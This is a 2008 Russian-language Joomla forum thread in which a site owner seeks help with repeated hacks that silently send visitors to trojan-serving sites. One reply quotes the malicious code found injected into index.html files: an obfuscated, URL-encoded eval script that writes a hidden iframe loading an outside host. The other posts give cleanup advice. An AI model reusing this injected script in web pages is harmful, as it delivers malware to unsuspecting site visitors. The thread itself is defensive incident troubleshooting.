Новости Joomla

С наступающим (и кое-где уже наступившим) Новым 2025 Годом!

С наступающим (и кое-где уже наступившим) Новым 2025 Годом!

Поздравляем всех джумлян с праздником! Счастья и здоровья вам и вашим близким, мирного неба всем нам, чистого кода, взаимопонимания с семьёй и клиентами, успешно завершённых проектов и долгих отношений с нашей любимой CMS - Joomla!

WT AmoCRM - JoomShopping v.1.1.0

WT AmoCRM - JoomShopping v.1.1.0

Плагин отправки заказов из интернет-магазина JoomShopping в Amo CRM.

Плагин Yandex Smart Captcha для Joomla 5

Плагин Yandex Smart Captcha для Joomla 5

Плагин подставляет во все стандартные формы CMS Joomla систему защиты от автоматических запросов, которая использует технологию распознавания образов. Она определяет, является ли пользователь человеком или ботом, на основе анализа его действий.

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 13 Ответов
  • 2979 Просмотров
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Неоднократный взлом сайта
« : 16.01.2008, 18:21:21 »
Привет всем знатокам, я буквально плачу  >:(

Второй раз за месяц хакают сайт! Я до сих пор не понял как и где это сделали, суть в том что при загрузке страниц пользователя несколько раз кидает на сайты где их ждет троян довлоадер. Первый раз стояла joomla paranoia сейчас Lavra и та же морковка, подскажите где искать и что делать.  !!!???!!!
Записан
*

era

  • Администратор
  • 1588
  • 392 / 5
  • В туалете лучше быть пользователем, чем админом.
Re: Неоднократный взлом сайта
« Ответ #1 : 16.01.2008, 18:32:57 »
ищи по форуму - неоднократно обсуждалось.
всего 3-и или 4-е шага.

P.S> и на антивирус не надо забивать.
Записан
*

temniy

  • Захожу иногда
  • 413
  • 85 / 9
Re: Неоднократный взлом сайта
« Ответ #2 : 16.01.2008, 18:37:49 »
Паранойя и Лавра это одно и  то же.
Помимо антивируса и поиска виря у себя рекомендую проверить нет ли шелла на сервере. Опять же смотри в поиске - как искать.
Записан
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #3 : 16.01.2008, 19:47:39 »
Цитата: era от 16.01.2008, 18:32:57
ищи по форуму - неоднократно обсуждалось.
всего 3-и или 4-е шага.

P.S> и на антивирус не надо забивать.

Как раз антивирус и нашел это дело. По форуму поискал ничего подобного нет.

Цитата: temniy от 16.01.2008, 18:37:49
Паранойя и Лавра это одно и  то же.
Помимо антивируса и поиска виря у себя рекомендую проверить нет ли шелла на сервере. Опять же смотри в поиске - как искать.

Виря на моем компе нет и не было, он попал на сайт из вне, как раз шелл мне и надо найти. Индексные файлы нетронуты,конфигурационные тоже .htaccess в порядке. Где искать я не знаю.
Записан
*

iT)ZevS(

  • Захожу иногда
  • 177
  • 31 / 2
Re: Неоднократный взлом сайта
« Ответ #4 : 16.01.2008, 20:04:31 »
после того как взломали надо искать через что и фиксить дырки
Записан
*

era

  • Администратор
  • 1588
  • 392 / 5
  • В туалете лучше быть пользователем, чем админом.
Re: Неоднократный взлом сайта
« Ответ #5 : 16.01.2008, 20:15:50 »
вспоминай откуда ещё по FTP заходил на сайт.
с работы? от друга? второй админ есть на сайте? или дизайнер? шэф?
Записан
*

temniy

  • Захожу иногда
  • 413
  • 85 / 9
Re: Неоднократный взлом сайта
« Ответ #6 : 16.01.2008, 22:45:21 »
шелл найти просто - проверь все файлы во всех папках, сравни с дистрибутивом. Если есть лишнее - наверное это оно. Если лишнего нет, проверь все файлы также по датам, в общем все даты должны быть одинаковы, а у шелла будет другая. Ищи по слову шелл, тема обсуждалась и неоднократно.
Записан
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #7 : 17.01.2008, 10:13:15 »
Цитата: iT)ZevS( от 16.01.2008, 20:04:31
после того как взломали надо искать через что и фиксить дырки

Легко сказать, я сделал все что мог, выставил chmod, отключил все ненужные функции php, обновился до последней версии joomla.

Цитата: era от 16.01.2008, 20:15:50
вспоминай откуда ещё по FTP заходил на сайт.
с работы? от друга? второй админ есть на сайте? или дизайнер? шэф?

Я единственный, работал тока с рабочего компа, сетка и комп хорошо защищены от вирей. Дизайн тож мой, шеф доступа не имеет.

Цитата: temniy от 16.01.2008, 22:45:21
шелл найти просто - проверь все файлы во всех папках, сравни с дистрибутивом. Если есть лишнее - наверное это оно. Если лишнего нет, проверь все файлы также по датам, в общем все даты должны быть одинаковы, а у шелла будет другая. Ищи по слову шелл, тема обсуждалась и неоднократно.

Я понимаю. Но перелапатить весь дистрибутив не так просто, может есть первостепенные директории где стоит искать?
Записан
*

Alex_A

  • Осваиваюсь на форуме
  • 35
  • 11 / 0
Re: Неоднократный взлом сайта
« Ответ #8 : 17.01.2008, 10:46:14 »
Цитировать
суть в том что при загрузке страниц пользователя несколько раз кидает на сайты

Посмотри на какой компонент заходишь?
Перекидыват сразу или на определенных страницах?
Записан
www.interesno.dn.ua - все, что интересно!
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #9 : 17.01.2008, 11:42:06 »
Ну наконец! Нашел этот поганый скрипт! Он есть почти в каждой директории в файле index.html который по идее далжен содержать токо <html><body></body></html> вместо этого он содержит вот это чудо:

Код
<html><body bgcolor="#FFFFFF"></body></html><script type='text/javascript'>
<!--
var msg=314,d=document;
eval(unescape ('%20%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%20%64%2e%77%72%69%74%65%28%27%3c%49%46%52%41%4d%45%20%6e%61%6d%65%3d%30%65%30%32%38%32%34%31%66%31%66%31%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%73%74%61%62%72%6f%6f%6d%2e%63%6e%2f%33%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%38%34%37%34%30%29%2b%27%33%30%66%64%37%34%63%5c%27%20%77%69%64%74%68%3d%34%34%36%20%68%65%69%67%68%74%3d%31%39%30%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%49%46%52%41%4d%45%3e%27%29') );
//-->
</script>

Теперь понятно где, но непонятно как. Вот лог сервера за это число но никаких подозрительных вещей я там не нашел, что наводи на мысли что проникли на сайт через FTP, пароль к нему и к БД я сменил только вот поможет ли?

Цитата: Alex_A от 17.01.2008, 10:46:14
Посмотри на какой компонент заходишь?
Перекидыват сразу или на определенных страницах?

На всех поголовно, даже в админке. Он не перекидывает, страничка открывается но в тихом режиме посылаются три запросы на сайты которые подсовывают TrojanDownloader.IFrame.

[вложение удалено Администратором]
« Последнее редактирование: 17.01.2008, 11:51:37 от Vovan4elli »
Записан
*

era

  • Администратор
  • 1588
  • 392 / 5
  • В туалете лучше быть пользователем, чем админом.
Re: Неоднократный взлом сайта
« Ответ #10 : 17.01.2008, 12:04:08 »
Ищи всё-таки вирус у себя на компе, если больше никому доступ по FTP не давал.
Записан
*

Vovan4elli

  • Новичок
  • 2
  • 0 / 0
  • Я не веб-мастер, я только учусь
Re: Неоднократный взлом сайта
« Ответ #11 : 17.01.2008, 12:40:00 »
Цитата: beliyadm от 17.01.2008, 11:53:16
а в логах доступа по фтп что нить есть за тот период?

У меня нет доступа к этим логам. Попробую написать хостеру...

Цитата: era от 17.01.2008, 12:04:08
Ищи всё-таки вирус у себя на компе, если больше никому доступ по FTP не давал.

Уже искал и не один раз и разными антивирусами Нодом и Каспером. Да и к тому же первый раз хакнули когда я даже фтп не пользовался. Просто в один прекрасный день зашел на сайт и был приятно удивлен писку антивируса.
Записан
*

Messer

  • Захожу иногда
  • 54
  • 0 / 0
Re: Неоднократный взлом сайта
« Ответ #12 : 09.02.2008, 20:50:26 »
ftp не пользовался? А дистриб как на хост попал?
Ищи троян! некоторые трояны еще скан с клавиатуры делают... Так что совсем не важно сохранял ты пассы или нет
Записан
*

temniy

  • Захожу иногда
  • 413
  • 85 / 9
Re: Неоднократный взлом сайта
« Ответ #13 : 10.02.2008, 20:20:31 »
хороший анти-вирус-троян-руткит - http://z-oleg.com/secur/avz/
программа бесплатна
Записан
Лучший хостинг от 1 евро!
Сервис whois  |  Домены по отличным ценам (более 80 зон, хорошие цены и консультации -> после регистрации)
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

 Ответов: 6
Просмотров: 1035 		Последний ответ 31.03.2024, 16:14:32
от SeBun
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

 Ответов: 1
Просмотров: 1748 		Последний ответ 25.05.2023, 08:49:57
от Театрал
Похоже на взлом J! 3.5

Автор memo

 Ответов: 7
Просмотров: 2245 		Последний ответ 23.09.2022, 10:56:06
от marksetter
Компоненты и скрипты для защиты сайта. Логи атак на сайты

Автор wishlight

 Ответов: 678
Просмотров: 250080 		Последний ответ 14.09.2022, 14:29:43
от wishlight
Способы защиты сайта от DDoS атак?

Автор IgorMJ

 Ответов: 7
Просмотров: 1567 		Последний ответ 05.10.2021, 21:39:26
от ShopES